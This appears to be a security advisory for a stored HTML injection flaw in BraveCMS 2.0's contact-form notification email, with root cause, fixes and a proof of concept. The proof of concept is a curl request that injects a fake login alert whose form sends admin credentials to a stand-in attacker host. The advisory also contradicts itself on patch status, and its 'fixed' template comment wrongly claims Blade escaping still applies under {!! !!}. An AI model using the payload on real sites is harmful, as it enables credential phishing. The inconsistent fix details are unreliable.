Back to advisories
CVE-2026-41576 GHSA-x7cg-8grr-grvx High CVSS 7.1

Stored HTML Injection in Contact Email via nl2br() + Unescaped Blade Template

A stored HTML injection vulnerability has been identified in BraveCMS 2.0 that allows an unauthenticated remote attacker to inject arbitrary HTML markup into the email notification delivered to administrators through the public contact form.

Affected: BraveCMS 2.0 Vendor: BraveCMS Discovered: Reported: Apr 16, 2026 Patched: Apr 16, 2026 Reporter: Stefan Mitocaru
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Details

BraveCMS's contact form is publicly accessible without authentication. User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive, allowing arbitrary HTML to be injected into the email delivered to the site administrator. Modern email clients do not execute JavaScript, but they do render HTML, making this a reliable vector for phishing attacks against the administrator via crafted login forms or fake security alerts embedded in what appears to be a legitimate contact notification.


Details

Summary

Field Value
CVE ID CVE-2026-41576
Advisory GHSA-x7cg-8grr-grvx
Severity High
CWE CWE-79 (HTML Injection)
Package BraveCMS-2.0 (PHP)
Affected 2.0
Patched None
Vulnerability HTML Injection in outbound admin email via unescaped nl2br() output
Impact Admin credential phishing via injected HTML in contact notification email

The contact form at POST /contact accepts a message from any unauthenticated visitor and forwards it to the site administrator by email. The message is processed with nl2br() to convert line breaks, then embedded in the email body with {!! $msg !!}. Because nl2br() does not perform HTML encoding and the Blade directive explicitly bypasses escaping, any HTML tags included in the message are rendered verbatim in the administrator's email client. An attacker can use this to inject convincing phishing interfaces, credential harvesting forms, or spoofed system alerts directly into the admin's inbox.


How it works

The controller processes the contact message and passes it to the mail template without escaping:

// ContactController.php (vulnerable)
'msg' => nl2br($request->message),  // converts \n to <br> but does not encode HTML

The email Blade template renders the value without encoding:

{{-- email template (vulnerable) --}}
{!! $msg !!}

nl2br() is not an encoding function. It inserts <br> tags at line breaks but leaves all other HTML characters intact. Combined with {!! !!}, the full message body, including any tags the attacker included, is written directly into the email HTML. The administrator receives an email that appears to come from the CMS contact system but contains arbitrary attacker-controlled markup.


Root Cause

Two independent failures combine to create the vulnerability. The first is the misuse of nl2br() as a sanitization step: it was designed to improve text display, not to prevent HTML injection, and it provides no protection against tags or attributes. The second is the use of {!! !!} in an email template that receives externally supplied content. Unlike an admin-facing template where the content can reasonably be assumed trusted, a contact form is a public unauthenticated input channel and must never be rendered unescaped.


Prerequisites

  • No authentication is required. The contact form is publicly accessible.
  • The administrator must open the email and interact with the injected content for credential theft to succeed, making this a user-interaction-required attack.
  • A standard HTML-capable email client such as Gmail or Outlook Web is sufficient to render the injected markup.

Fix

Two changes are required together in ContactController.php. Apply e() to HTML-encode the message before passing it to nl2br(), then switch the template directive to the safe escaped form:

// ContactController.php (fixed)
// e() encodes HTML entities first; nl2br() then safely converts the encoded newlines to <br>
'msg' => nl2br(e($request->message)),
{{-- email template (fixed) --}}
{{-- Safe: output is already HTML-encoded; Blade escaping adds a second layer --}}
{!! $msg !!}

Note that after applying e() the string already contains encoded entities and safe <br> tags, so using {!! !!} is acceptable at that point since the encoding was applied upstream. Alternatively, if line-break rendering is not required, the simplest fix is:

// ContactController.php (simplest fix, no HTML in email at all)
'msg' => $request->message,
{{-- email template --}}
{{ $msg }}

Laravel's {{ }} directive calls htmlspecialchars() automatically, neutralizing all HTML injection regardless of what the controller passes.


Key Takeaways

  • nl2br() is not a security function. It inserts <br> tags at newlines and leaves all other HTML characters completely untouched. Using it as a sanitization step before unescaped rendering provides no protection whatsoever.
  • Public input channels must never reach unescaped templates. The contact form requires no authentication, which means it is reachable by any internet user. Any data from an unauthenticated source must be treated as fully untrusted and encoded before rendering.
  • HTML injection in email is a distinct and underrated threat. JavaScript-based XSS is often the focus of injection discussions, but email clients that block scripts still render HTML faithfully. A convincing phishing interface delivered through a trusted notification channel is often more effective than a standalone phishing page because it arrives in a context the administrator already trusts.
  • The fix is one function call. Wrapping the input in e() before passing it to nl2br() resolves the vulnerability entirely and requires no architectural change.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Send a POST request to the contact endpoint with an HTML payload in the message field. No session or authentication token is required:

curl -s -X POST 'https://target.com/contact' \
  --data-urlencode 'name=Support Team' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'message=<div style="font-family:Arial;padding:20px;border:1px solid #ccc">
<h2>Security Alert: Unusual Login Detected</h2>
<p>We detected a login attempt from an unrecognized device. Please verify your identity.</p>
<form action="https://attacker.com/harvest" method="POST">
  <label>Admin Username</label><br>
  <input type="text" name="user" style="width:100%;padding:8px;margin:4px 0"><br>
  <label>Admin Password</label><br>
  <input type="password" name="pass" style="width:100%;padding:8px;margin:4px 0"><br><br>
  <button type="submit" style="background:#d9534f;color:#fff;padding:10px 20px;border:none">Verify Identity</button>
</form>
</div>'

The CMS delivers a contact notification email to the administrator. The email appears to originate from the site's contact system and carries the site's standard branding and subject line. Inside the body, the injected HTML renders as a fully styled security alert with a credential submission form pointing at the attacker's server.

The rendered email contains:

<div style="font-family:Arial;padding:20px;border:1px solid #ccc">
  <h2>Security Alert: Unusual Login Detected</h2>
  <p>We detected a login attempt from an unrecognized device. Please verify your identity.</p>
  <form action="https://attacker.com/harvest" method="POST">
    <label>Admin Username</label><br>
    <input type="text" name="user" ...><br>
    <label>Admin Password</label><br>
    <input type="password" name="pass" ...><br><br>
    <button type="submit" ...>Verify Identity</button>
  </form>
</div>

If the administrator enters their credentials and submits the form, the data is posted to the attacker's server

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →